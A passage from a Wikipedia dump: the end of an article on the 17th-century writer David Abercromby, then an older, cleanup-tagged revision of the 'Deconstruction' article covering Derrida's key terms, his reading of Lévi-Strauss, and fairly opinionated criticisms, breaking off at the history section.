He also wrote some books in [[theology]] and [[philosophy]], controversial in their time but little remembered today. Brought up at [[Douai]] as a [[Roman Catholic Church|Roman Catholic]] by [[Society of Jesus|Jesuit]] priests, he was converted to [[Protestantism]] in 1682 and came to abjure [[popery]], and published ''Protestancy proved Safer than Popery'' ([[1686]]).  But the most noticeable of his productions is ''A Discourse of Wit'' ([[1685]]), which contains some of the most characteristic metaphysical opinions of the Scottish philosophy of common sense.  It was followed by ''Academia Scientiarum'' ([[1687]]), and by ''A Moral Discourse of the Power of Interest'' ([[1690]]), dedicated to [[Robert Boyle]], Abercromby's patron in the 1680s.  He later wrote ''Reasons Why A Protestant Should not Turn Papist'' ([[1687]]), which has often wrongly been attributed to Boyle.  ''A Short Account of Scots Divines'', by him, was printed at [[Edinburgh]] in [[1833]], edited by James Maidment. The exact date of his death is unknown, but according to Haller he was alive early in the [[18th century]], possibly dying in 1702.
{{Wikisource1911Enc|Abercromby, David}}
== Further reading ==
*Edward Davis, &quot;The Anonymous Works of Robert Boyle and the ''Reasons Why a Protestant Should not Turn Papist'' (1687).&quot; ''Journal of the History of Ideas'' 55 (1994): 611-29.</text>
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  <page>
    <title>Deconstruction</title>
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      <comment>/* Lack of usefulness */</comment>
      <text xml:space="preserve">:''For other uses, see [[Deconstruction (disambiguation)]].''

The term '''''deconstruction''''' was coined by French philosopher [[Jacques Derrida]] in the 1960s and is used in contemporary [[humanities]] and [[social sciences]] to denote a philosophy of meaning that deals with the ''ways'' that [[meaning]] is constructed and understood by writers, texts, and readers. One way of understanding the term is that it involves discovering, recognizing, and understanding the underlying — and unspoken and implicit — assumptions, ideas, and frameworks that form the basis for  thought and belief. It has various shades of meaning in different areas of study and discussion, and is, by its very nature, difficult to define without depending on &quot;un-deconstructed&quot; concepts.

{{Cleanup-rewrite}}

==The difficulty in defining deconstruction==

===The problems of definition===
The term ''deconstruction'' in the context of Western philosophy is highly resistant to formal definition. [[Martin Heidegger]] was perhaps the first to use the term (in contrast to [[Friedrich Nietzsche|Nietzschean]] demolition), although the form we recognize in English is an element in a series of translations (from Heidegger's ''Abbau'' and ''Destruktion'' to [[Jacques Derrida|Jacques Derrida's]] ''déconstruction''), and it has been explored by others, including [[Gayatri Chakravorty Spivak]], [[Paul de Man]], [[Jonathan Culler]], [[Barbara Johnson]], [[J. Hillis Miller]], [[Jean-François Lyotard]], and [[Geoffrey Bennington]].

These authors have resisted calls to define the word succinctly. When asked what deconstruction is, Derrida once stated, &quot;I have no simple and formalizable response to this question. All my essays are attempts to have it out with this formidable question.&quot; (Derrida 1985, at 4.) There is a great deal of confusion as to what kind of thing deconstruction is — whether it is a school of thought (it is certainly not so in the singular), a method of reading (it has often been reduced to this by various attempts to define it formally), or, as some call it, a &quot;textual event&quot; (a characterization implied by the Derrida quote just given) — and determining what authority to accord to a particular attempt at delimiting it.

Many pages have been devoted to attempts to define deconstruction or to demonstrate why attempts at delimitation are misconceived. Most of these attempts (including those signed by critics who are considered deconstructionist) are difficult reading and resistant to summary. On the other hand, there is a [[cottage industry]] of writers of variably explicit sympathy or antipathy to deconstruction (however they understand it) who attempt to explain it to those who are reluctant to read the original deconstructive texts.

Surveying the deconstructive texts and the secondary literature, one is confronted with a bafflingly heterogeneous range of arguments. These include claims that deconstruction can sort out the Western tradition in its entirety, by highlighting and discrediting unjustified privileges accorded to white males and other hegemonists. On the other hand, some critics claim that deconstruction is a dangerous form of [[nihilism]] that wishes the utter destruction of Western scientific and ethical values. As a rule, deconstruction is ridiculed by members of the political right of just about any stripe. Its reception on the left is far more varied, ranging from hostility to co-optation:
*While there is no doubting that principal figures associated with deconstruction in France have been &quot;leftist&quot; in their political positions, Heidegger's place in deconstruction complicates matters considerably, as do the politics of Paul de Man in early adulthood. Heidegger assumed the rectorship of the University of Freiburg from 1933-1934 as a member of the National Socialist German Workers Party, while de Man worked, during the German occupation of Belgium, as a writer for a collaborationist newspaper, ''Le Soire''.
*From a racial-religious perspective, deconstruction has no clear sectarian identity. For example, Derrida's views on religion are anything but sectarian. As a Jew raised in a walled Jewish community in colonial Algeria, Derrida rejected what he regarded as the countersignature of anti-Semitism by Algerian Jewish institutions of the 1940s. He is almost certainly an atheist in terms of dogmatic theology, and has written about religion in terms of what was shared among the Mosaic monotheisms.
*Those writing sympathetically about deconstruction tend to use an &quot;idiosyncratic&quot; (sometimes in fact imitative) style with numerous neologisms, a bent toward playfulness and irony, and a massive amount of allusion across many corners of the [[Western canon]].

===What deconstruction is ''not''===

It is easier to explain what deconstruction is ''not'' than what it ''is''. According to Derrida, deconstruction is neither an analysis, a critique, a method, an act, nor an operation. (Derrida 1985, at 3.) In addition, deconstruction is not, properly speaking, a synonym for &quot;destruction.&quot;  Rather, according to [[Barbara Johnson]], it is a quite specific kind of analytical &quot;reading&quot;:

:[Deconstruction] is in fact much closer to the original meaning of the word 'analysis' itself, which etymologically means &quot;to undo&quot;&amp;mdash;a virtual synonym for &quot;to de-construct.&quot; ... If anything is destroyed in a deconstructive reading, it is not the text, but the claim to unequivocal domination of one mode of signifying over another.  A deconstructive reading is a reading which analyses the specificity of a text's critical difference from itself.&quot; (Johnson, 1981).

In addition, deconstruction is ''not'' the same as [[nihilism]] or [[relativism]]. It is not the abandonment of all meaning, but attempts to  demonstrate that Western thought has not satisfied its quest for a &quot;transcendental signifier&quot; that will give meaning to all other signs. According to Derrida, &quot;Deconstruction is not an enclosure in nothingness, but an openness to the other&quot; (Derrida 1984, at 124), and an attempt &quot;to discover the non-place or non-lieu which would be [that] 'other' of philosophy&quot; (Id. at 112). Thus, meaning is &quot;out there&quot;, but it cannot be located by Western metaphysics, because text gets in the way.

===Approaching a definition of deconstruction===
Part of the difficulty in defining ''deconstruction'' arises from the fact that the act of defining ''deconstruction'' in the language of Western metaphysics requires one to accept the very ideas of Western metaphysics that are thought to be the subject of deconstruction. Nevertheless, various authors have provided a number of rough definitions. The philosopher [[David B. Allison]] (an early translator of Derrida) stated:

:&quot;[Deconstruction] signifies a project of critical thought whose task is to locate and 'take apart' those concepts which serve as the axioms or rules for a period of thought, those concepts which command the unfolding of an entire epoch of metaphysics. 'Deconstruction' is somewhat less negative than the Heideggerian or Nietzschean terms 'destruction' or 'reversal'; it suggests that certain foundational concepts of metaphysics will never be entirely eliminated...There is no simple 'overcoming' of metaphysics or the language of metaphysics.&quot; (Introduction by Allison, in Derrida, 1973, p. xxxii, n. 1.)

Another rough-but-concise explanation of deconstruction is by [[Paul de Man]], who explained, &quot;It's possible, within text, to frame a question or to undo assertions made in the text, by means of elements which are in the text, which frequently would be precisely structures that play off the rhetorical against grammatical elements.&quot; (de Man, in Moynihan 1986, at 156.) Thus, viewed in this way, &quot;the term 'deconstruction', refers in the first instance to the way in which the 'accidental' features of a text can be seen as betraying, subverting, its purportedly 'essential' message.&quot; (Rorty 1995) (The word ''accidental'' is usually interpreted here in the sense of ''incidental'').

In the context of religious studies Paul Ricoeur (1983) defines deconstruction as a way of uncovering the questions behind the answers of a text or tradition (Klein 1995).

==Logocentrism and the critique of binary oppositions==
Deconstruction's central concern is a radical critique of [[the Enlightenment]] project and of [[metaphysics]], including in particular the founding texts by such philosophers as [[Plato]], [[Jean-Jacques Rousseau|Rousseau]], and [[Edmund Husserl|Husserl]], but also other sorts of texts, including literature.  Deconstruction identifies in the Western philosophical tradition a &quot;logocentrism&quot; or &quot;[[metaphysics of presence]]&quot; (also known as ''[[phallogocentrism]]'') which holds that speech-thought (the ''logos'') is a privileged, ideal, and self-present entity, through which all discourse and meaning are derived.  This logocentrism is the primary target of deconstruction.

One typical form of deconstructive reading is the critique of binary oppositions, or the criticism of [[dichotomy|dichotomous]] thought. A central deconstructive argument holds that, in all the classic dualities of Western thought, one term is privileged or &quot;central&quot; over the other. The privileged, central term is the one most associated with the [[phallus]] and the ''logos''. Examples include:
* speech over writing
* presence over absence
* identity over difference
* fullness over emptiness
* meaning over meaninglessness
* mastery over submission
* life over death

Derrida argues in ''Of Grammatology'' (translated by [[Gayatri Chakravorty Spivak]] and published in English in [[1976]]) that, in each such case, the first term is classically conceived as original, authentic, and superior, while the second is thought of as secondary, derivative, or even &quot;parasitic.&quot;  These binary oppositions, or &quot;violent hierarchies&quot;, and others of their form, he argues, must be deconstructed.

This deconstruction is effected in stages.  First, Derrida suggests, the opposition must be inverted, and the second, traditionally subordinate term must be privileged.  He argues that these oppositions cannot be simply transcended; given the thousands of years of [[history of philosophy|philosophical history]] behind them, it would be disingenuous to attempt to move directly to a domain of thought beyond these distinctions.  So deconstruction attempts to compensate for these historical power imbalances, undertaking the difficult project of thinking through the philosophical implications of reversing them.  

Only after this task is undertaken (if not completed, which may be impossible), Derrida argues, can philosophy begin to conceive a conceptual terrain ''outside'' these oppositions: the next project of deconstruction would be to develop concepts which fall under neither one term of these oppositions nor the other.  Much of the philosophical work of deconstruction has been devoted to developing such ideas and their implications, of which ''différance'' may be the prototype (as it denotes neither simple identity nor simple difference).  Derrida spoke in an interview (first published in French in [[1967]]) about such &quot;concepts,&quot; which he called merely &quot;marks&quot; in order to distinguish them from proper philosophical concepts:

:...[I]t has been necessary to analyze, to set to work, ''within'' the text of the history of philosophy, as well as ''within'' the so-called literary text,..., certain marks, shall we say,... that ''by analogy'' (I underline) I have called undecidables, that is, unities of simulacrum, &quot;false&quot; verbal properties (nominal or semantic) that can no longer be included within philosophical (binary) opposition, resisting and disorganizing it, ''without ever'' constituting a third term, without ever leaving room for a solution in the form of speculative dialectics. (''Positions'', trans. Alan Bass, pp. 42-43)

As can be seen in this discussion of its terms' undecidable, unresolvable complexity, deconstruction requires a high level of comfort with suspended, deferred decision; a deconstructive thinker must be willing to work with terms whose precise meaning has not been, and perhaps cannot be, established.  (This is often given as a major reason for the difficult writing style of deconstructive texts.)  Critics of deconstruction find this unacceptable as philosophy; many feel that, by working in this manner with unspecified terms, deconstruction ignores the primary task of philosophy, which they say is the creation and elucidation of concepts.  This deep criticism is a result of a fundamental difference of opinion about the nature of [[philosophy]], and is unlikely to be resolved simply.

==Text and deconstruction==
According to deconstructive readers, one of the phallogocentrisms of modernism is the distinction between speech (''[[logos]]'') and writing, with writing historically being thought of as derivative to ''logos''. As part of subverting the presumed dominance of ''logos'' over text, Derrida argued that the idea of a speech-writing dichotomy contains within it the idea of a very expansive view of textuality that subsumes both speech and writing. According to [[Jacques Derrida]], &quot;There is nothing outside of the text&quot; (Derrida, 1976, at 158). That is, text is thought of not merely as linear writing derived from speech, but any form of depiction, marking, or storage, including the marking of the human brain by the process of cognition or by the senses.

In a sense, deconstruction is simply a way to read text (as broadly defined); any deconstruction has a text as its object and subject. This accounts for deconstruction's broad cross-disciplinary scope. Deconstruction has been applied to literature, art, architecture, science, mathematics, philosophy, and psychology, and any other disciplines that can be thought of as involving the act of marking.

In deconstruction, text can be thought of as &quot;dead&quot;, in the sense that once the markings are made, the markings remain in suspended animation and do not change in themselves. Thus, what an author says about her text doesn't revive it, and is just another text commenting on the original, along with the commentary of others.  In this view, when an author says, &quot;You have understood my work perfectly,&quot; this utterance constitutes an addition to the textual system, along with what the reader said was ''understood'' in and about the original text, and not a resuscitation of the original dead text. The reader has an opinion, the author has an opinion. Communication is possible ''not'' because the text has a transcendental signification, but because the brain tissue of the author contains similar &quot;markings&quot; as the brain tissue of the reader. These brain markings, however, are unstable and fragmentary...

==The terminology of deconstruction==
Deconstruction makes use of a number of terms, many of which are coined or repurposed, that illustrate or follow the process of deconstruction. Among these words are ''différance'', ''trace'', ''écriture'', ''supplement'', ''hymen'', ''pharmakon'', ''slippage'', ''marge'', ''entame'', ''parergon'', ''text'', and ''same''.

===''Différance''===
''Main Article: [[différance]]''

Against the [[metaphysics of presence]], deconstruction brings a (non)concept called ''différance''. This French neologism is, on the deconstructive argument, properly neither a word nor a concept; it names the non-coincidence of meaning both [[synchronicity|synchronically]] (one French homonym means &quot;differing&quot;) and [[diachronicity|diachronically]] (another French homonym means &quot;deferring&quot;).  Because the resonance and conflict between these two French meanings is difficult to convey tersely in English, the word ''différance'' is usually left untranslated.

In simple terms, this means that rather than privileging commonality and simplicity and seeking unifying principles (or grand [[teleology|teleological]] narratives, or overarching concepts, etc.) deconstruction emphasizes difference, complexity, and non-self-identity.  A deconstructive reading of a text, or a deconstructive interpretation of philosophy (for deconstruction tends to elide any difference between the two), often seeks to demonstrate how a seemingly unitary idea or concept contains different or opposing meanings within itself.  The elision of difference in philosophical concepts is even referred to in deconstruction as a kind of ''violence'', the idea being that theories' willful misdescription or simplification of reality always does violence to the true richness and complexity of the world.  This criticism can be taken as a rejection of the philosophical [[law of excluded middle|law of the excluded middle]], arguing that the simple oppositions of [[Aristotelian logic]] force a false appearance of simplicity onto a recalcitrant world.

Thus the perception of différance has two sides, both a ''deferment'' of final, unifying meaning in a unit of text (of whatever size, word or book), and a ''difference'' of meaning of the text upon every act of re-reading a work. Repetition, and the impossibility of final access to a text, of ever being at the text's &quot;ground zero&quot; so to speak, are emphasized, indefinitely leaving a text outside of the realm of the knowable in typical senses of &quot;mastery&quot;. A text can, obviously, be experienced, be read, be &quot;understood&quot; -- but that understanding, for all its deep feeling or lack of it, is marked by a quintessential provisionality that never denies the possibility of ''rereading''. Indeed it requires this. If the text is traditionally thought to be some perdurable sequence of symbols (letters) that go through time unchanged in the formal sense, différance moves the concept toward the realization that for all the perdurability of the text, experience of this structure is impossible and inconceivable outside of the realm of the unique instance, outside of the realm of perception.

A text cannot read itself, therein lies the provisionality of différance.

===''Trace''===
The idea of ''différance'' also brings with it the idea of ''trace''. A trace is what a sign differs/defers from. It is the absent part of the sign's presence. In other words, through the act of ''différance'', a sign leaves behind a ''trace'', which is whatever is left over after everything ''present'' has been accounted for. According to Derrida, &quot;the trace itself does not exist&quot; (Derrida 1976, at 167)&quot;, because it is self-effacing. That is, &quot;[i]n presenting itself, it becomes effaced&quot; (Id. at 125.) Because all signifiers viewed as ''present'' in Western thought will necessarily contain traces of other (absent) signifiers, the signifier can be neither wholly present nor wholly absent.

===''Écriture''===
In deconstruction, the word ''écriture'' (usually translated as ''writing'' in English) is appropriated to refer not just to systems of graphic communication, but to all systems inhabited by ''différance''. A related term, called ''archi-écriture'', refers to the positive side of writing, or writing as an ultimate principle, rather than an a derivative of ''logos'' (speech). In other words, whereas the Western ''logos'' encompasses writing, it is equally valid to view ''archi-écriture'' as encompassing the ''logos'', and therefore speech can be thought of as a form of writing: writing on air waves, or on the memory of the listener or recording device.

===''Supplement'', ''originary lack'', and ''invagination''===
The word ''supplement'' is taken from the philosopher [[Jean Jacques Rousseau]], who defined it as &quot;an inessential extra added to something complete in itself.&quot; According to Derrida, Western thinking is characterized by the &quot;logic of supplementation&quot;, which is actually two apparently contradictory ideas. From one perspective, a supplement serves to enhance the presence of something which is already complete and self-sufficient. Thus, writing is the supplement of speech, [[Adam and Eve|Eve]] was the supplement of [[Adam and Eve|Adam]], and [[masturbation]] is the supplement of &quot;natural sex&quot;.

But simultaneously, according to Derrida, the Western idea of the ''supplement'' has within it the idea that a thing that has a supplement cannot be truly &quot;complete in itself&quot;. If it were complete without the supplement, it shouldn't need, or long-for, the supplement. The fact that a thing can be added-to to make it even more &quot;present&quot; or &quot;whole&quot; means that there is a hole (which Derrida called an ''originary lack'') and the supplement can fill that hole. The metaphorical opening of this &quot;hole&quot; Derrida called ''invagination''. From this perspective, the supplement does not enhance something's presence, but rather underscores its absence.

Thus, what really happens during supplementation is that something appears from one perspective to be whole, complete, and self-sufficient, with the supplement acting as an ''external'' appendage. However, from another perspective, the supplement also fills a hole within the ''interior'' of the original &quot;something&quot;. Thus, the supplement represents an indeterminacy between externality and interiority.

===''Hymen''===
The word ''hymen'' refers to the interplay between inside and outside. The hymen is the membrane of intersection where it becomes impossible to distinguish whether the membrane is on the inside or the outside. And in the absence of the hymen (as in, once the hymen is penetrated), the distinction between inside and outside disappears. Thus, in a way, the hymen is neither inside nor outside, and both inside and outside.

===''Pharmakon''===
The word ''pharmakon'' refers to the play between cure and poison. It derives from the ancient Greek word, used by Plato in ''Phaedrus'' and ''Phaedo'', which had an undecideable meaning which could be translated to mean anything ranging from a drug, recipe, spell, medicine, or poison.

== An illustration: Derrida's reading of Lévi-Strauss ==
A more concrete example, drawn from one of Derrida's most famous works, may help to clarify the typical manner in which deconstruction works.

[[structuralism|Structuralist]] analysis generally relies on the search for underlying binary oppositions as an explanatory device. The structuralist anthropology of [[Claude Lévi-Strauss]] argued that such oppositions are found in all cultures, not only in Western culture, and thus that the device of binary opposition was fundamental to meaning.

Deconstruction challenges the explanatory value of these oppositions.  This method has three steps.  
#The first step is to reveal an asymmetry in the binary opposition, suggesting an implied hierarchy.  
#The second step is to reverse the hierarchy.  
#The third step is to displace one of the terms of the opposition, often in the form of a new and expanded definition.

In his book ''Of Grammatology'', Derrida offers one example of deconstruction applied to a theory of Lévi-Strauss.  Following many other Western thinkers, Lévi-Strauss distinguished between &quot;savage&quot; societies lacking writing and &quot;civilized&quot; societies that have writing.  This distinction implies that human beings developed verbal communication (speech) before some human cultures developed writing, and that speech is thus conceptually as well as chronologically prior to writing (thus speech would be more authentic, closer to truth and meaning, and more immediate than writing).

Although the development of writing is generally considered to be an advance, after an encounter with the Nambikwara Indians of Brazil, Lévi-Strauss suggested that societies without writing were also lacking violence and domination (in other words, savages are truly noble savages).  He further argued that the primary function of writing is to facilitate slavery (or social inequality, exploitation, and domination in general).  (This claim has been rejected by most later historians and anthropologists as strictly incorrect. There is abundant historical evidence that many [[hunter-gatherer]] societies and later non-literate tribes had significant amounts of violence and warfare in their cultures.)

Derrida's interpretation begins with taking Lévi-Strauss's discussion of writing at its word: what is important in writing for Lévi-Strauss is not the use of markings on a piece of paper to communicate information, but rather their use in domination and violence.  Derrida further observes that, based on Lévi-Strauss's own ethnography, the Nambikwara really do use language for domination and violence.  Derrida thus concludes that writing, in fact, is prior to speech.  That is, he reverses the opposition between speech and writing.

Derrida was not making fun of Lévi-Strauss, nor did he mean to supersede, replace, or proclaim himself superior to Lévi-Strauss.  (A common theme of deconstruction is the desire to be critical without assuming a posture of superiority.)  He was using his deconstruction of Lévi-Strauss to question a common belief in Western culture, dating back at least to Plato: that speech is prior to, more authentic than, and closer to &quot;true meaning&quot; than writing.

== Criticisms of deconstruction ==
Deconstruction is the subject of at least three main types of criticism. Critics take issue with what they believe is a lack of seriousness and transparency in deconstructive writings, and with what they interpret as a political stance against traditional [[modern philosophy|modernism]]. In addition, critics often equate deconstruction with [[nihilism]] or [[relativism]] and criticize deconstruction accordingly.

===Lack of usefulness===
Many critics question the usefulness of deconstruction. They see it as little more than an academic word-game, a clever way to discredit a text without having to refute any of the text's arguments. They argue that it is of no practical assistance to scientists or philosophers, and suggest that no one seems to benefit from deconstruction except its own practitioners.

Some literary practitioners, critics, and theorists are hostile to deconstruction, claiming that it is inconsistent with any meaningful discussion and analysis of literature, particularly of forms such as poetry and fiction that invite active discussion. The criticism is that deconstruction fails to provide any substantial grounds for engagement with literary texts because it abruptly truncates all ideas and subjects as equal and interchangeable. Because it essentially rules out nothing, it fails to provide any especially salient windows of thought to assist the understanding of texts, or to allow this to segue into any other topics of discussion.  Deconstruction, according to this line of argument, cannot combine usefully with other schools of literary criticism and actually impedes progress in literary understanding.

As American Scholar Murray Rothbard would say &quot;Deconstructionism reduces to the claim that no one, not even deconstructionists, can understand literary texts - not even their own literary texts.&quot; This means that all writers under the obeservation of such are only &quot;subjective musings&quot;.

===Unintelligibility, Meaninglessness===
Deconstructive readings have been criticized both academically and popularly as largely [[Nonsense|nonsensical]] and unintelligible. Few would deny that any discourse may seem nonsensical to those who do not understand it, and that just because something is unintelligible to one doesn't mean it is unintelligible to another reader. On the other hand, the deconstructionist position demands that we take the meaningfulness and importance of what appears to be &quot;nonsense&quot; as an act of faith. There remains the question of whether deconstructive readings are at times so unintelligible that, after peeling away the often dense and complicated language, anything remains.

The question of whether deconstruction really &quot;means anything&quot; was explored through an experiment conducted by [[Alan Sokal]], a physicist who described it in an article in a leading (though not [[peer-review]]ed) journal using some of the language, vocabulary, and rhetorical devices of deconstruction, but which he deliberately designed to be what he considered &quot;self-indulgent nonsense&quot;. See [[Sokal affair]]. Sokal's critics claim, however, that his parody was not truly nonsensical, and had its own internal logic. Regardless, the &quot;Sokal affair&quot; suggests that a work claimed by its own author to be arrant nonsense may be received by  deconstructionists as more or less sensible. 

Another parody was created later by some [[artificial intelligence]] researchers, who wrote a program they called [http://www.elsewhere.org/cgi-bin/postmodern The Postmodernism Generator], which produces a superficially genuine article on a postmodern theme, using much of the vocabulary of deconstruction. When the hoax was revealed, deconstructionists pointed out in their defense that the generated article is not an actual deconstructive reading and so cannot be used to discredit deconstruction. In other words, only a genuine deconstructive reading of deconstruction may be used to critique deconstruction itself; and since such a reading must utilize deconstruction to be persuasive, its critique of deconstructive techniques would actually be a vindication of them. Such self-negating logic is amusing as wordplay, but it is anathema to non-deconstructive thinkers. Moreover, the apparent inability of deconstructionists to recognize an incoherent and unintelligible parody for what it is does not speak well for their own critical abilities. 

Partly as a result of these incidents, critics of deconstruction now see reason to doubt whether is much difference between &quot;real&quot; deconstruction and parodies of it, and whether deconstruction is so unintelligible that it could be done by a machine. In other words, is deconstruction itself a hoax or parody? 

Some academics suspected that it was. Ironically, though, some postmodernists insist that the Sokal affair and the Postmodern Generator prove one of the ideas they have been saying all along: that there is no strict binary opposition between a parody and a &quot;serious&quot; academic work, that all academic work is its own parody and all parodies may have serious points to make, and that the reader is not enslaved to the views of the author, even if the author is a machine or does not himself agree with his work. Similar observations have been familiar to academics at least since the publication of Jonathan Swift's satirical essay, &quot;A Modest Proposal&quot; in the Eighteenth Century and are neither controversial nor especially &quot;deconstructive&quot;; but surely it is remarkable (and troubling to many) to find academically tenured deconstructionists proclaiming that their own, ostensibly serious, works presented for peer review are mere &quot;parodies of themselves.&quot;

===Lack of seriousness and transparency===
As part of the tradition of [[modern philosophy|modernism]] and [[the Enlightenment]], matters of Western philosophy and literary criticism have generally been framed within a particular standard of formality, transparency, earnestness, rationality, and high-mindedness. As a critique of modernism, however, deconstruction is usually rational at least to an extent; but deconstruction is also critical of Western rationality. Deconstruction tends also to be comparatively opaque, eccentric, playful, imitative, and often crass. As a result, deconstruction takes place on the margins of modernist discourse, which invites criticism by modernists. There is a particular expectation of seriousness in Western philosophy. Therefore, many critics find it silly and uninstructive to analyze Western metaphysics deconstructively through the use of puns, wordplay, poetry, book reviews, fiction, or the analysis of [[pop culture]].  Yet the deconstructionist claim that rationality and coherence are deceptive and manipulative would seem to lead inexorably to such productions in the place of traditional, intelligible argumentation. 

In addition, deconstruction sprang in part as a critique of such philosophers as [[Edmund Husserl]] and [[Martin Heidegger]]. While the style of Husserl and Heidegger was dense and opaque, Derrida's criticism of their writings was for some readers even more difficult to understand. Similarly, most deconstructive writings are relatively opaque and dense, and are full of not only the terminology of the text being critiqued, but additional neologisms that many find hard to follow. This opaqueness in texts of the broader movements of [[postmodernism]] and [[post-structuralism]] has led to criticism of those movements, and implicitly of deconstruction, by many modernists such as [[Noam Chomsky]], himself a noted linguist, who stated:

:I have spent a lot of my life working on questions such as these, using the only methods I know of--those condemned here as &quot;science,&quot; &quot;rationality,&quot; &quot;logic,&quot; and so on. I therefore read the papers with some hope that they would help me &quot;transcend&quot; these limitations, or perhaps suggest an entirely different course. I'm afraid I was disappointed. Admittedly, that may be my own limitation. Quite regularly, &quot;my eyes glaze over&quot; when I read polysyllabic discourse on the themes of poststructuralism and postmodernism; what I understand is largely truism or error, but that is only a fraction of the total word count. True, there are lots of other things I don't understand: the articles in the current issues of math and physics journals, for example. But there is a difference. In the latter case, I know how to get to understand them, and have done so, in cases of particular interest to me; and I also know that people in these fields can explain the contents to me at my level, so that I can gain what (partial) understanding I may want. In contrast, no one seems to be able to explain to me why the latest post-this-and-that is (for the most part) other than truism, error, or gibberish, and I do not know how to proceed.

[http://www.zmag.org/chomsky/articles/95-science.html Noam Chomsky on Rationality/Science - From Z Papers Special Issue]

===Anti-essentialist criticism===
Anti-essentialist philosophers, such as [[Richard Rorty]], have criticized Derrida's assertion that essentialism is not a method, but something that is &quot;already, all the time&quot; occurring in texts.  Anti-essentialists allege that Derrida's position is close to positing something which is intrinsic to the text, and thus close to positing an &quot;essential&quot; privileged reading of a text.  Anti-essentialists still accept the validity of deconstructive readings, but view them as the result of subjective interaction with a text that is one of many possible readings, rather than an excavation of something &quot;within&quot; the text, and should not be privileged as reading the &quot;truth&quot; of the text. However, one might counter that this &quot;reading&quot; of deconstruction is itself a deconstruction, putting the anti-essentialist in the tricky situation of having to admit that his &quot;reading&quot; of deconstruction is not privileged.

===Political criticisms===
Deconstruction has also been criticized for its perceived political stance, in that it is perceived as advocating particular movements or points of view. An argument can be made that deconstruction is apolitical. Indeed, [[Jacques Derrida]] consistently denied any simple political aspect to deconstruction, and his later texts were concerned with complicating the relationship between deconstruction and politics. Despite these denials Derrida made numerous statements supporting the spirit of Marxism, for instance:

&quot;Now these problems of the foreign debt - and everything that is metonymized by this concept - will not be treated without at least the spirit of the Marxist critique, the critique of the market, of the multiple logics of capital, and of that which links the State and international law to this market&quot;. Spectres of Marx, 1994.

So différance can also be understood as part of the revolutionary dialectic that destroys the established order to permit the adoption of some new world order. In general the deconstructive writers are much more closely associated with the political left and various elements of academia than with the political right but their work may benefit either faction. 

Thus, some critics view deconstruction as means of academic empire-building; they see deconstruction as elevating the practice of reading and deconstructing a text to the same status as the original act of writing the text. For example, critics have taken issue with deconstructive writings which seem to elevate the ''[[criticism]]'' of Western science, metaphysics, and philosophy, such as quantum mechanics and the writings of [[Aristotle]], to the same political status as the original scientific and philosophical writings. This seems to give deconstructive writings a privileged position with respect to other writings. This, critics suggest, is arrogant.

While there are numerous left-leaning political forces at work within [[postmodernism]] as a whole, deconstructive writers such as Derrida argued that deconstruction is not simply political. For example, while deconstruction criticizes the binary opposition between presence and absence, and the tendency to favor presence, deconstruction does not go a step further and advocate absence, or argue that the Western favoritism of presence is simply a bad thing. This further step, deconstructive writers argue, would not be deconstruction at all, but construction or reconstruction. Nor, deconstructive writers argue, does deconstruction necessarily imply an advocacy of one type of text over another. They agree, however, that critics of deconstruction ascribe that stance of advocacy to the deconstructive writer, because (they argue) of the critics' own [[logocentrism]].

Undoubtedly, however, everything that deconstructive writers do is not deconstructive, and deconstructive writers hold political views and take the role of advocating aspects of Western metaphysics. Deconstructive writers do not view this as inconsistent with deconstruction. They do not see a paradox in advocating a point of Western metaphysics with self-conscious irony. Derrida stated, &quot;Deconstruction is not an enclosure in nothingness, but an openness to the other&quot; (Derrida 1984, at 124).

===Criticisms classifying deconstruction as nihilism or relativism===
Critics of deconstruction commonly argue that it denies that authors can have a coherent intention, or that a text can have a particular meaning. They suggest, therefore, that deconstructive analysis is little more than a form of nihilism or extreme relativism.

Deconstructive writers generally disagree that deconstruction is a denial of the existence of meaning and [[authorial intentionality]]. Rather, they say, meaning and authorial intent exist, but Western philosophy has failed to locate them outside the realm of texts. If one tries through metaphysics to find meaning or intent ''outside'' text, they say, one only finds a further web of text from which one cannot escape using Western metaphysics. However, there is value, according to some deconstructive writers, in following the textual threads of Western metaphysics, which is something like wordplay. And one may hope, they suppose, to transcend Western metaphysics. This is quite different, in their view, from the nihilist assertion that meaning and intent do not exist, or that it is futile to seek them.

Critics have also accused deconstruction of being a form of [[solipsism]], arguing that deconstruction implies the futility of seeking or trying to communicate accurate knowledge about the world. Deconstructive writers reject this assertion. They say that the existence of such knowledge is theoretically possible, but that Western philosophy and metaphysics have failed to prove a reliable source for it. All Western writers have done is to point to inherently untrustworthy text. No text-based knowledge, they say, is trustworthy; therefore, it is not knowledge.

During the 1980s and '90s, the novelty of deconstructionist thinking helped to encourage the publication, by academic journals and university presses, of a great many deconstructionist readings.  In retrospect, however, it seemed to many academic critics that such readings, even when viewed sympathetically, tended mostly toward a repetitious insistence that no matter what the text, any meaning to it was entirely indeterminate (or &quot;deferred&quot;), and/or, whatever its purpose, the text was deceptive and manipulative. Critics argued that the project of applying this basic deconstructionist tenet to individual works was sterile indeed. On a practical note, it is also observed that while deconstructionists deride objectivity and authoritativeness, they still go about their daily tasks depending as much as anyone else on the overall reliability of Western technology, medical knowledge, and other manifestations of objective and authoritative scientific findings. The sincere &quot;living out&quot; of deconstruction theory would seem to result in state of consciousness indistinguishable from extreme psychosis. As no deconstructionist is known to have chosen to live in such a state, or even to have attempted to do so, the sincerity and utility of deconstructive philosophy may be called into serious question. (But for an ancient advocacy of something similar, see Sextus Empiricus' defense of [[Philosophical skepticism#In the ancient West|Pyrrhonism]].)

Perhaps the most damaging criticism of deconstruction is the observation that if all texts subvert honesty and truth, deconstructionist texts are just as false and dishonest as all others. Critics then ask why anyone should &quot;privilege&quot; deconstructive texts. As simply another text, Derrida's deconstructive philosophy itself cannot be trustworthy or accurate. And if deconstruction cannot provide knowledge, and no other discourse can provide it either, then all that we think must be pure illusion.  Even if all that we think really is simply an illusion, the critics continue, our reason remains a very practical illusion that allows us to survive both as societies and as individuals. Deconstruction, they say, lends itself as an excuse to nihilists who wish to see societies as nothing but contending, meaningless illusions battling ruthlessly for tyranny over the quite useless and dispensable human mind.

== History of deconstruction ==
